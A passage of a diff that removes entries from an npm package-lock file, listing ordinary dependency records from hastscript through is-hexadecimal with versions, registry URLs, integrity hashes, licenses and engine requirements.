"https://registry.npmjs.org/hastscript/-/hastscript-9.0.1.tgz", - "integrity": "sha512-g7df9rMFX/SPi34tyGCyUBREQoKkapwdY/T04Qn9TDWfHhAYt4/I0gMVirzK5wEzeUqIjEB+LXC/ypb7Aqno5w==", - "license": "MIT", - "dependencies": { - "@types/hast": "^3.0.0", - "comma-separated-tokens": "^2.0.0", - "hast-util-parse-selector": "^4.0.0", - "property-information": "^7.0.0", - "space-separated-tokens": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/headers-polyfill": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/headers-polyfill/-/headers-polyfill-5.0.1.tgz", - "integrity": "sha512-1TJ6Fih/b8h5TIcv+1+Hw0PDQWJTKDKzFZzcKOiW1wJza3XoAQlkCuXLbymPYB8+ZQyw8mHvdw560e8zVFIWyA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/set-cookie-parser": "^2.4.10", - "set-cookie-parser": "^3.0.1" - } - }, - "node_modules/hermes-estree": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/hermes-estree/-/hermes-estree-0.25.1.tgz", - "integrity": "sha512-0wUoCcLp+5Ev5pDW2OriHC2MJCbwLwuRx+gAqMTOkGKJJiBCLjtrvy4PWUGn6MIVefecRpzoOZ/UV6iGdOr+Cw==", - "dev": true, - "license": "MIT" - }, - "node_modules/hermes-parser": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/hermes-parser/-/hermes-parser-0.25.1.tgz", - "integrity": "sha512-6pEjquH3rqaI6cYAXYPcz9MS4rY6R4ngRgrgfDshRptUZIc3lw0MCIJIGDj9++mfySOuPTHB4nrSW99BCvOPIA==", - "dev": true, - "license": "MIT", - "dependencies": { - "hermes-estree": "0.25.1" - } - }, - "node_modules/highlight.js": { - "version": "10.7.3", - "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-10.7.3.tgz", - "integrity": "sha512-tzcUFauisWKNHaRkN4Wjl/ZA07gENAjFl3J/c480dprkGTg5EQstgaNFqBfUqCq54kZRIEcreTsAgF/m2quD7A==", - "license": "BSD-3-Clause", - "engines": { - "node": "*" - } - }, - "node_modules/highlightjs-vue": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/highlightjs-vue/-/highlightjs-vue-1.0.0.tgz", - "integrity": "sha512-PDEfEF102G23vHmPhLyPboFCD+BkMGu+GuJe2d9/eH4FsCwvgBpnc9n0pGE+ffKdph38s6foEZiEjdgHdzp+IA==", - "license": "CC0-1.0" - }, - "node_modules/hosted-git-info": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz", - "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==", - "dev": true, - "license": "ISC", - "dependencies": { - "lru-cache": "^6.0.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/hosted-git-info/node_modules/lru-cache": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", - "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", - "dev": true, - "license": "ISC", - "dependencies": { - "yallist": "^4.0.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/hosted-git-info/node_modules/yallist": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", - "dev": true, - "license": "ISC" - }, - "node_modules/html-encoding-sniffer": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-6.0.0.tgz", - "integrity": "sha512-CV9TW3Y3f8/wT0BRFc1/KAVQ3TUHiXmaAb6VW9vtiMFf7SLoMd1PdAc4W3KFOFETBJUb90KatHqlsZMWV+R9Gg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@exodus/bytes": "^1.6.0" - }, - "engines": { - "node": "^20.19.0 || ^22.12.0 || >=24.0.0" - } - }, - "node_modules/html-escaper": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", - "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", - "dev": true, - "license": "MIT" - }, - "node_modules/html-parse-stringify": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/html-parse-stringify/-/html-parse-stringify-3.0.1.tgz", - "integrity": "sha512-KknJ50kTInJ7qIScF3jeaFRpMpE8/lfiTdzf/twXyPBLAGrLRTmkz3AdTnKeh40X8k9L2fdYwEp/42WGXIRGcg==", - "license": "MIT", - "dependencies": { - "void-elements": "3.1.0" - } - }, - "node_modules/html-url-attributes": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/html-url-attributes/-/html-url-attributes-3.0.1.tgz", - "integrity": "sha512-ol6UPyBWqsrO6EJySPz2O7ZSr856WDrEzM5zMqp+FJJLGMW35cLYmmZnl0vztAZxRUoNZJFTCohfjuIJ8I4QBQ==", - "license": "MIT", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/html-void-elements": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/html-void-elements/-/html-void-elements-3.0.0.tgz", - "integrity": "sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/http-cache-semantics": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz", - "integrity": "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==", - "dev": true, - "license": "BSD-2-Clause" - }, - "node_modules/http-errors": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", - "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", - "license": "MIT", - "dependencies": { - "depd": "~2.0.0", - "inherits": "~2.0.4", - "setprototypeof": "~1.2.0", - "statuses": "~2.0.2", - "toidentifier": "~1.0.1" - }, - "engines": { - "node": ">= 0.8" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/http-proxy-agent": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", - "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", - "dev": true, - "license": "MIT", - "dependencies": { - "agent-base": "^7.1.0", - "debug": "^4.3.4" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/http2-wrapper": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz", - "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==", - "dev": true, - "license": "MIT", - "dependencies": { - "quick-lru": "^5.1.1", - "resolve-alpn": "^1.0.0" - }, - "engines": { - "node": ">=10.19.0" - } - }, - "node_modules/https-proxy-agent": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", - "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", - "dev": true, - "license": "MIT", - "dependencies": { - "agent-base": "^7.1.2", - "debug": "4" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/httpxy": { - "version": "0.5.3", - "resolved": "https://registry.npmjs.org/httpxy/-/httpxy-0.5.3.tgz", - "integrity": "sha512-SMS9V6Sn7VWaS11lYhoAr0ceoaiolTWf4jYdJn0NJhCdKMu9R2H9Fh0LBDWBHQF6HRLI1PmaePYsjanSpE5PEw==", - "license": "MIT" - }, - "node_modules/husky": { - "version": "9.1.7", - "resolved": "https://registry.npmjs.org/husky/-/husky-9.1.7.tgz", - "integrity": "sha512-5gs5ytaNjBrh5Ow3zrvdUUY+0VxIuWVL4i9irt6friV+BqdCfmV11CQTWMiBYWHbXhco+J1kHfTOUkePhCDvMA==", - "dev": true, - "license": "MIT", - "bin": { - "husky": "bin.js" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/typicode" - } - }, - "node_modules/i18next": { - "version": "26.0.8", - "resolved": "https://registry.npmjs.org/i18next/-/i18next-26.0.8.tgz", - "integrity": "sha512-BRzLom0mhDhV9v0QhgUUHWQJuwFmnr1194xEcNLYD6ym8y8s542n4jXUvRLnhNTbh9PmpU6kGZamyuGHQMsGjw==", - "funding": [ - { - "type": "individual", - "url": "https://www.locize.com/i18next" - }, - { - "type": "individual", - "url": "https://www.i18next.com/how-to/faq#i18next-is-awesome.-how-can-i-support-the-project" - }, - { - "type": "individual", - "url": "https://www.locize.com" - } - ], - "license": "MIT", - "peerDependencies": { - "typescript": "^5 || ^6" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/i18next-browser-languagedetector": { - "version": "8.2.1", - "resolved": "https://registry.npmjs.org/i18next-browser-languagedetector/-/i18next-browser-languagedetector-8.2.1.tgz", - "integrity": "sha512-bZg8+4bdmaOiApD7N7BPT9W8MLZG+nPTOFlLiJiT8uzKXFjhxw4v2ierCXOwB5sFDMtuA5G4kgYZ0AznZxQ/cw==", - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.23.2" - } - }, - "node_modules/i18next-http-backend": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/i18next-http-backend/-/i18next-http-backend-4.0.0.tgz", - "integrity": "sha512-EgSjO3Q1G6f2Q5oy7u9mmxuesE0oSfzAD97NFBjC8EmkK4guBSYLljM0Fng3DarMWIIkU70jfo4+mUzmyVISTA==", - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/iconv-corefoundation": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/iconv-corefoundation/-/iconv-corefoundation-1.1.7.tgz", - "integrity": "sha512-T10qvkw0zz4wnm560lOEg0PovVqUXuOFhhHAkixw8/sycy7TJt7v/RrkEKEQnAw2viPSJu6iAkErxnzR0g8PpQ==", - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "dependencies": { - "cli-truncate": "^2.1.0", - "node-addon-api": "^1.6.3" - }, - "engines": { - "node": "^8.11.2 || >=10" - } - }, - "node_modules/iconv-corefoundation/node_modules/cli-truncate": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-2.1.0.tgz", - "integrity": "sha512-n8fOixwDD6b/ObinzTrp1ZKFzbgvKZvuz/TvejnLn1aQfC6r52XEx85FmuC+3HI+JM7coBRXUvNqEU2PHVrHpg==", - "dev": true, - "license": "MIT", - "optional": true, - "dependencies": { - "slice-ansi": "^3.0.0", - "string-width": "^4.2.0" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/iconv-corefoundation/node_modules/emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true, - "license": "MIT", - "optional": true - }, - "node_modules/iconv-corefoundation/node_modules/is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true, - "license": "MIT", - "optional": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/iconv-corefoundation/node_modules/slice-ansi": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-3.0.0.tgz", - "integrity": "sha512-pSyv7bSTC7ig9Dcgbw9AuRNUb5k5V6oDudjZoMBSr13qpLBG7tB+zgCkARjq7xIUgdz5P1Qe8u+rSGdouOOIyQ==", - "dev": true, - "license": "MIT", - "optional": true, - "dependencies": { - "ansi-styles": "^4.0.0", - "astral-regex": "^2.0.0", - "is-fullwidth-code-point": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/iconv-corefoundation/node_modules/string-width": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "dev": true, - "license": "MIT", - "optional": true, - "dependencies": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/iconv-corefoundation/node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, - "license": "MIT", - "optional": true, - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/iconv-lite": { - "version": "0.4.24", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", - "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", - "license": "MIT", - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/ieee754": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", - "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "BSD-3-Clause", - "optional": true - }, - "node_modules/ignore": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/import-fresh": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", - "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "parent-module": "^1.0.0", - "resolve-from": "^4.0.0" - }, - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/imurmurhash": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.8.19" - } - }, - "node_modules/indent-string": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", - "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/inflight": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", - "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", - "dev": true, - "license": "ISC", - "dependencies": { - "once": "^1.3.0", - "wrappy": "1" - } - }, - "node_modules/inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "license": "ISC" - }, - "node_modules/inline-style-parser": { - "version": "0.2.7", - "resolved": "https://registry.npmjs.org/inline-style-parser/-/inline-style-parser-0.2.7.tgz", - "integrity": "sha512-Nb2ctOyNR8DqQoR0OwRG95uNWIC0C1lCgf5Naz5H6Ji72KZ8OcFZLz2P5sNgwlyoJ8Yif11oMuYs5pBQa86csA==", - "license": "MIT" - }, - "node_modules/input-otp": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/input-otp/-/input-otp-1.4.1.tgz", - "integrity": "sha512-+yvpmKYKHi9jIGngxagY9oWiiblPB7+nEO75F2l2o4vs+6vpPZZmUl4tBNYuTCvQjhvEIbdNeJu70bhfYP2nbw==", - "license": "MIT", - "peerDependencies": { - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0.0 || ^19.0.0-rc" - } - }, - "node_modules/internal-slot": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.1.0.tgz", - "integrity": "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==", - "dev": true, - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "hasown": "^2.0.2", - "side-channel": "^1.1.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/intl-messageformat": { - "version": "10.7.18", - "resolved": "https://registry.npmjs.org/intl-messageformat/-/intl-messageformat-10.7.18.tgz", - "integrity": "sha512-m3Ofv/X/tV8Y3tHXLohcuVuhWKo7BBq62cqY15etqmLxg2DZ34AGGgQDeR+SCta2+zICb1NX83af0GJmbQ1++g==", - "license": "BSD-3-Clause", - "dependencies": { - "@formatjs/ecma402-abstract": "2.3.6", - "@formatjs/fast-memoize": "2.2.7", - "@formatjs/icu-messageformat-parser": "2.11.4", - "tslib": "^2.8.0" - } - }, - "node_modules/ipaddr.js": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", - "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", - "license": "MIT", - "engines": { - "node": ">= 0.10" - } - }, - "node_modules/is-alphabetical": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-2.0.1.tgz", - "integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/is-alphanumerical": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-2.0.1.tgz", - "integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==", - "license": "MIT", - "dependencies": { - "is-alphabetical": "^2.0.0", - "is-decimal": "^2.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/is-array-buffer": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.5.tgz", - "integrity": "sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.8", - "call-bound": "^1.0.3", - "get-intrinsic": "^1.2.6" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-arrayish": { - "version": "0.3.4", - "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.3.4.tgz", - "integrity": "sha512-m6UrgzFVUYawGBh1dUsWR5M2Clqic9RVXC/9f8ceNlv2IcO9j9J/z8UoCLPqtsPBFNzEpfR3xftohbfqDx8EQA==", - "license": "MIT" - }, - "node_modules/is-async-function": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.1.1.tgz", - "integrity": "sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "async-function": "^1.0.0", - "call-bound": "^1.0.3", - "get-proto": "^1.0.1", - "has-tostringtag": "^1.0.2", - "safe-regex-test": "^1.1.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-bigint": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.1.0.tgz", - "integrity": "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "has-bigints": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-boolean-object": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.2.2.tgz", - "integrity": "sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.3", - "has-tostringtag": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-bun-module": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-bun-module/-/is-bun-module-2.0.0.tgz", - "integrity": "sha512-gNCGbnnnnFAUGKeZ9PdbyeGYJqewpmc2aKHUEMO5nQPWU9lOmv7jcmQIv+qHD8fXW6W7qfuCwX4rY9LNRjXrkQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "semver": "^7.7.1" - } - }, - "node_modules/is-callable": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", - "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-core-module": { - "version": "2.16.2", - "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.2.tgz", - "integrity": "sha512-evOr8xfXKxE6qSR0hSXL2r3sd7ALj8+7jQEUvPYcm5sgZFdJ+AYzT6yNmJenvIYQBgIGwfwz08sL8zoL7yq2BA==", - "dev": true, - "license": "MIT", - "dependencies": { - "hasown": "^2.0.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-data-view": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.2.tgz", - "integrity": "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.2", - "get-intrinsic": "^1.2.6", - "is-typed-array": "^1.1.13" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-date-object": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.1.0.tgz", - "integrity": "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.2", - "has-tostringtag": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-decimal": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-2.0.1.tgz", - "integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-finalizationregistry": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz", - "integrity": "sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-fullwidth-code-point": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-5.1.0.tgz", - "integrity": "sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "get-east-asian-width": "^1.3.1" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/is-generator-function": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.1.2.tgz", - "integrity": "sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.4", - "generator-function": "^2.0.0", - "get-proto": "^1.0.1", - "has-tostringtag": "^1.0.2", - "safe-regex-test": "^1.1.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-glob": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", - "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-extglob": "^2.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-hexadecimal": { - "version": 